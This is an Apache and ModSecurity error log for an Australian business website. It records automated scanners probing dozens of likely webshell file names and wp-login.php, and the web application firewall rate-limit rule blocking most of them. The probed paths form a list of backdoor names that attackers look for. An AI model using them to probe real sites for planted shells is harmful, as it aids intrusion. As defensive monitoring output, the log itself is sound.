[Sat Apr 18 08:46:43.547619 2026] [:error] [pid 9865:tid 9938] [client 4.212.95.215:6139] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeLUc6zb5knECIY-C-jYkAAAAIE"]
[Sat Apr 18 08:46:44.220973 2026] [:error] [pid 9865:tid 9954] [client 4.212.95.215:5946] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aeLUdKzb5knECIY-C-jYkQAAAJE"]
[Sat Apr 18 08:46:45.259535 2026] [:error] [pid 13023:tid 13029] [client 4.212.95.215:6048] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aeLUdf1e7hG8DAeABB9Q6AAAAQQ"]
[Sat Apr 18 08:46:46.009031 2026] [:error] [pid 34237:tid 34249] [client 4.212.95.215:6017] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aeLUdhBmX4Wq5a6rxfbsbgAAAUo"]
[Sat Apr 18 08:46:48.064624 2026] [:error] [pid 9863:tid 9886] [client 4.212.95.215:6033] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aeLUeDjjiypiFrTucbIytAAAAA0"]
[Sat Apr 18 08:46:49.019189 2026] [:error] [pid 34290:tid 34325] [client 4.212.95.215:6131] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aeLUeRqX6WpmmAXOBi96VwAAAcY"]
[Sat Apr 18 08:46:52.034086 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:6100] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aeLUfBBmX4Wq5a6rxfbslAAAAUs"]
[Sat Apr 18 08:46:53.252257 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:49126] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aeLUfRBmX4Wq5a6rxfbspAAAAUs"]
[Sat Apr 18 08:46:55.618025 2026] [:error] [pid 34237:tid 34258] [client 4.212.95.215:6095] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aeLUfxBmX4Wq5a6rxfbsqgAAAVM"]
[Sat Apr 18 08:46:57.213899 2026] [:error] [pid 9863:tid 9873] [client 4.212.95.215:5966] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "aeLUgTjjiypiFrTucbIyvAAAAAA"]
[Sat Apr 18 08:46:58.336389 2026] [:error] [pid 34237:tid 34242] [client 4.212.95.215:6053] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "aeLUghBmX4Wq5a6rxfbssQAAAUM"]
[Sat Apr 18 08:46:59.630344 2026] [:error] [pid 9970:tid 9994] [client 4.212.95.215:6114] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "aeLUgyYdRLRhVmaIMx0POAAAANQ"]
[Sat Apr 18 08:47:01.008889 2026] [:error] [pid 34290:tid 34343] [client 4.212.95.215:6056] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "aeLUhRqX6WpmmAXOBi96agAAAdg"]
[Sat Apr 18 08:47:02.443325 2026] [:error] [pid 9970:tid 9986] [client 4.212.95.215:6135] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aeLUhiYdRLRhVmaIMx0PQQAAAMw"]
[Sat Apr 18 08:47:03.194763 2026] [:error] [pid 34288:tid 34308] [client 4.212.95.215:6129] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aeLUh-TIiy__PtiLmplOpwAAAZA"]
[Sat Apr 18 08:47:04.490277 2026] [:error] [pid 9863:tid 9876] [client 4.212.95.215:5953] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aeLUiDjjiypiFrTucbIywAAAAAM"]
[Sat Apr 18 08:47:05.739691 2026] [:error] [pid 34288:tid 34311] [client 4.212.95.215:6029] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aeLUieTIiy__PtiLmplOsAAAAZM"]
[Sat Apr 18 08:47:08.882716 2026] [:error] [pid 34288:tid 34304] [client 4.212.95.215:6014] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeLUjOTIiy__PtiLmplOwQAAAYw"]
[Sat Apr 18 08:47:11.065686 2026] [:error] [pid 9863:tid 9888] [client 4.212.95.215:6079] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeLUjzjjiypiFrTucbIyxQAAAA8"]
[Sat Apr 18 08:47:12.922592 2026] [:error] [pid 34237:tid 34239] [client 4.212.95.215:6102] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeLUkBBmX4Wq5a6rxfbswgAAAUA"]
[Sat Apr 18 08:47:15.167570 2026] [:error] [pid 13023:tid 13043] [client 4.212.95.215:49118] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aeLUk_1e7hG8DAeABB9REwAAARI"]
[Sat Apr 18 08:47:16.821350 2026] [:error] [pid 13023:tid 13045] [client 4.212.95.215:49090] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeLUlP1e7hG8DAeABB9RFwAAARQ"]
[Sat Apr 18 08:47:19.428872 2026] [:error] [pid 9865:tid 9953] [client 4.212.95.215:49091] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeLUl6zb5knECIY-C-jYpQAAAJA"]
[Sat Apr 18 08:47:20.631101 2026] [:error] [pid 34288:tid 34310] [client 4.212.95.215:49115] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeLUmOTIiy__PtiLmplOxwAAAZI"]
[Sat Apr 18 08:47:21.689464 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:49144] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeLUmRBmX4Wq5a6rxfbszAAAAUs"]
[Sat Apr 18 08:47:26.284410 2026] [:error] [pid 34237:tid 34256] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sat Apr 18 08:47:26.523052 2026] [:error] [pid 34237:tid 34239] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sat Apr 18 08:47:26.761800 2026] [:error] [pid 34237:tid 34255] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat Apr 18 08:47:27.001509 2026] [:error] [pid 34237:tid 34245] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Sat Apr 18 08:47:27.241313 2026] [:error] [pid 34237:tid 34263] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Sat Apr 18 08:47:27.598961 2026] [:error] [pid 34237:tid 34246] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/curl.php
[Sat Apr 18 08:47:27.953679 2026] [:error] [pid 34237:tid 34254] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Sat Apr 18 08:47:28.192164 2026] [:error] [pid 34237:tid 34252] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Sat Apr 18 08:47:28.540830 2026] [:error] [pid 34237:tid 34261] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Apr 18 08:47:28.795773 2026] [:error] [pid 34237:tid 34239] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Apr 18 08:47:29.037086 2026] [:error] [pid 34237:tid 34244] [client 4.212.95.215:6130] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260325043000.php
[Sat Apr 18 08:47:29.290744 2026] [:error] [pid 34237:tid 34259] [client 4.212.95.215:6130] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeLUoRBmX4Wq5a6rxfbs8QAAAVQ"]
[Sat Apr 18 08:47:30.549480 2026] [:error] [pid 34290:tid 34320] [client 4.212.95.215:6099] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeLUohqX6WpmmAXOBi96hAAAAcE"]
[Sat Apr 18 08:47:31.485457 2026] [:error] [pid 9970:tid 9977] [client 4.212.95.215:6134] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeLUoyYdRLRhVmaIMx0PYAAAAMM"]
[Sat Apr 18 08:47:32.165358 2026] [:error] [pid 9863:tid 9879] [client 4.212.95.215:5970] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeLUpDjjiypiFrTucbIy7QAAAAY"]
[Sat Apr 18 13:50:27.894487 2026] [:error] [pid 9864:tid 9917] [client 2.56.248.215:51760] [client 2.56.248.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.56.248.215, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeMbo4CFeowknfXHM7mn8QAAAEs"], referer: https://www.google.com/
[Sat Apr 18 13:50:27.897053 2026] [:error] [pid 9864:tid 9917] [client 2.56.248.215:51760] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Sat Apr 18 13:50:28.466556 2026] [:error] [pid 9864:tid 9928] [client 2.56.248.215:53179] [client 2.56.248.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.56.248.215, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeMbpICFeowknfXHM7mn8gAAAFY"], referer: https://wordpress.org/
[Sat Apr 18 13:50:28.469928 2026] [:error] [pid 9864:tid 9928] [client 2.56.248.215:53179] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://wordpress.org/
[Sat Apr 18 20:12:22.810165 2026] [:error] [pid 34290:tid 34320] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/prosellers8.php
[Sat Apr 18 20:12:23.062868 2026] [:error] [pid 34290:tid 34336] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/utchiha_py4mE1XY.php
[Sat Apr 18 20:12:23.321045 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sat Apr 18 20:12:23.603673 2026] [:error] [pid 34290:tid 34331] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/php.php
[Sat Apr 18 20:12:23.859372 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sat Apr 18 20:12:24.112923 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/defeg.php
[Sat Apr 18 20:12:24.406976 2026] [:error] [pid 34290:tid 34335] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/C1.php
[Sat Apr 18 20:12:24.658491 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/bfasb.php
[Sat Apr 18 20:12:24.911792 2026] [:error] [pid 34290:tid 34319] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/clcdu.php
[Sat Apr 18 20:12:25.163497 2026] [:error] [pid 34290:tid 34326] [client 52.236.80.95:6027] File does not exist: /usr/local/apache/htdocs/suspended-page/dgmry.php
[Sat Apr 18 20:12:25.423536 2026] [:error] [pid 34290:tid 34333] [client 52.236.80.95:6027] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eursi.php"] [unique_id "aeN1KRqX6WpmmAXOBi8ZLgAAAc4"]
[Sat Apr 18 20:12:25.957502 2026] [:error] [pid 9865:tid 9955] [client 52.236.80.95:6035] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eursi.php"] [unique_id "aeN1Kazb5knECIY-C-iA3QAAAJI"]
[Sat Apr 18 20:12:26.488527 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:6055] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eursi.php"] [unique_id "aeN1Kv1e7hG8DAeABB8EwgAAAQc"]
[Sat Apr 18 20:12:27.108430 2026] [:error] [pid 9864:tid 9921] [client 52.236.80.95:6104] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eursi.php"] [unique_id "aeN1K4CFeowknfXHM7kZbQAAAE8"]
[Sat Apr 18 20:12:27.681160 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:6097] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gkojz.php"] [unique_id "aeN1K_1e7hG8DAeABB8ExQAAAQM"]
[Sat Apr 18 20:12:28.276513 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:6126] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gkojz.php"] [unique_id "aeN1LICFeowknfXHM7kZdAAAAFE"]
[Sat Apr 18 20:12:28.816651 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:6030] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gkojz.php"] [unique_id "aeN1LBBmX4Wq5a6rxfamAQAAAUY"]
[Sat Apr 18 20:12:29.349217 2026] [:error] [pid 13023:tid 13046] [client 52.236.80.95:6141] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gkojz.php"] [unique_id "aeN1Lf1e7hG8DAeABB8EyAAAARU"]
[Sat Apr 18 20:12:29.915469 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6101] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/isvqf.php"] [unique_id "aeN1LRBmX4Wq5a6rxfamAgAAAVQ"]
[Sat Apr 18 20:12:30.514844 2026] [:error] [pid 34290:tid 34336] [client 52.236.80.95:6099] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/isvqf.php"] [unique_id "aeN1LhqX6WpmmAXOBi8ZMgAAAdE"]
[Sat Apr 18 20:12:31.118523 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6139] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/isvqf.php"] [unique_id "aeN1LxBmX4Wq5a6rxfamAwAAAVA"]
[Sat Apr 18 20:12:31.643163 2026] [:error] [pid 34290:tid 34319] [client 52.236.80.95:6133] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/isvqf.php"] [unique_id "aeN1LxqX6WpmmAXOBi8ZNwAAAcA"]
[Sat Apr 18 20:12:32.152695 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:6106] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ppxhp.php"] [unique_id "aeN1MBBmX4Wq5a6rxfamBgAAAUo"]
[Sat Apr 18 20:12:32.721133 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6134] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ppxhp.php"] [unique_id "aeN1MBqX6WpmmAXOBi8ZOgAAAcI"]
[Sat Apr 18 20:12:33.273825 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:6143] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ppxhp.php"] [unique_id "aeN1Mazb5knECIY-C-iA4AAAAJU"]
[Sat Apr 18 20:12:33.780600 2026] [:error] [pid 13023:tid 13044] [client 52.236.80.95:6135] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ppxhp.php"] [unique_id "aeN1Mf1e7hG8DAeABB8EzwAAARM"]
[Sat Apr 18 20:12:34.287964 2026] [:error] [pid 13023:tid 13039] [client 52.236.80.95:6108] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/whtrq.php"] [unique_id "aeN1Mv1e7hG8DAeABB8E0gAAAQ4"]
